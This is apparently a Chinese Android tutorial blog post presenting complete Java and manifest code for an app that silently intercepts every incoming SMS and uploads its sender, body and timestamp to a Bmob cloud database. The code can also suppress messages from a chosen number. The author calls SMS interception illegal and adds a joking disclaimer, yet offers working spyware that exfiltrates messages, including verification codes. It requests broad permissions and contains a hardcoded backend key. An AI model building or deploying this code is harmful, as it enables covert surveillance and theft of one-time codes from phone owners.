Android实战简易教程-第四十枪（窃听风云之短信监听）

最近在做监听验证码短信自动填入的功能，无意间想到了一个短信监听的办法。免责声明：短信监听本身是一种违法行为，这里只是技术描述，请大家学习技术即可。（哈哈）

本实例是基于bmob提供的后台服务，将监听到的短信自动上传到bmob数据库中。

一、代码实现：

1.首先实现javabean对象。

package com.example.messagecut;

import cn.bmob.v3.BmobObject;

public class MsgContent extends BmobObject  {
	private String form;
	private String content;
	private String time;
	public String getForm() {
		return form;
	}
	public void setForm(String form) {
		this.form = form;
	}
	public String getContent() {
		return content;
	}
	public void setContent(String content) {
		this.content = content;
	}
	public String getTime() {
		return time;
	}
	public void setTime(String time) {
		this.time = time;
	}
	

}

2.MainActivity.java:

package com.example.messagecut;

import com.example.messagecut.SMSBroadcastReceiver.MessageListener;

import android.app.Activity;
import android.os.Bundle;
import cn.bmob.v3.Bmob;
import cn.bmob.v3.listener.SaveListener;

/**
 * Demo描述: 利用BroadcastReceiver实现监听短信
 *
 * 注意权限: <uses-permission android:name="android.permission.RECEIVE_SMS"/>
 *
 * 
 *
 */
public class MainActivity extends Activity {
	private SMSBroadcastReceiver mSMSBroadcastReceiver;
	private String message;

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		Bmob.initialize(this, "8f3ffb2658d8a3366a70a0b0ca0b71b2");
		
		
		mSMSBroadcastReceiver = new SMSBroadcastReceiver();
		mSMSBroadcastReceiver.setOnReceivedMessageListener(new MessageListener() {
			public void OnReceived(String message) {	
				String[] msg=message.split(",");
				MsgContent msgContent=new MsgContent();
				msgContent.setForm(msg[0]);
				msgContent.setContent(msg[1]);
				msgContent.setTime(msg[2]);
				msgContent.save(MainActivity.this, new SaveListener() {
					
					@Override
					public void onSuccess() {//上传成功
						
					}
					
					@Override
					public void onFailure(int arg0, String arg1) {
						
					}
				});
				
			}
		});

	}
}

3.SMSBroadcastReceiver.java:

package com.example.messagecut;

import java.text.SimpleDateFormat;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;

/**
 * 配置广播接收者: <receiver android:name=".SMSBroadcastReceiver"> <intent-filter
 * android:priority="1000"> <action android:name=
 * "android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver>
 * 
 * 注意: <intent-filter android:priority="1000">表示: 设置此广播接收者的级别为最高
 */

public class SMSBroadcastReceiver extends BroadcastReceiver {
	private static MessageListener mMessageListener;

	public SMSBroadcastReceiver() {
		super();
	}

	@Override
	public void onReceive(Context context, Intent intent) {
		Object[] pdus = (Object[]) intent.getExtras().get("pdus");
		for (Object pdu : pdus) {
			SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
			String sender = smsMessage.getDisplayOriginatingAddress();
			String content = smsMessage.getMessageBody();
			long date = smsMessage.getTimestampMillis();
			Date timeDate = new Date(date);
			SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
			String time = simpleDateFormat.format(timeDate);

			System.out.println("短信来自:" + sender);
			System.out.println("短信内容:" + content);
			System.out.println("短信时间:" + time);

			mMessageListener.OnReceived(sender + "," + content + "," + time);

			// 如果短信来自5556,不再往下传递
			if ("5556".equals(sender)) {
				System.out.println(" abort ");
				abortBroadcast();
			}

		}
	}

	// 回调接口
	public interface MessageListener {
		public void OnReceived(String message);
	}

	public void setOnReceivedMessageListener(MessageListener messageListener) {
		this.mMessageListener = messageListener;
	}
}

4.配置文件AndroidManifest.xml:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.messagecut"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="21" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <receiver android:name=".SMSBroadcastReceiver" >
            <intent-filter>
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
    </application>

    <!-- 发送短信 -->
    <uses-permission android:name="android.permission.SEND_SMS" />
    <!-- 阅读消息 -->
    <uses-permission android:name="android.permission.READ_SMS" />
    <!-- 写入消息 -->
    <uses-permission android:name="android.permission.WRITE_SMS" />
    <!-- 接收消息 -->
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.READ_LOGS" />

</manifest>

本实例要用到bmob的知识，有不了解的可以参考我以前的文章《 Android实战简易教程-第二十二枪（基于Baas的用户注册功能）》

二、运行实例

运行实例，然后用另一个手机发一条短信到测试手机，这时就会在后台数据库中看到这样一条信息，如下截图：

这样我们的短信监听就实现啦！还有其他好多的监听，下回研究。

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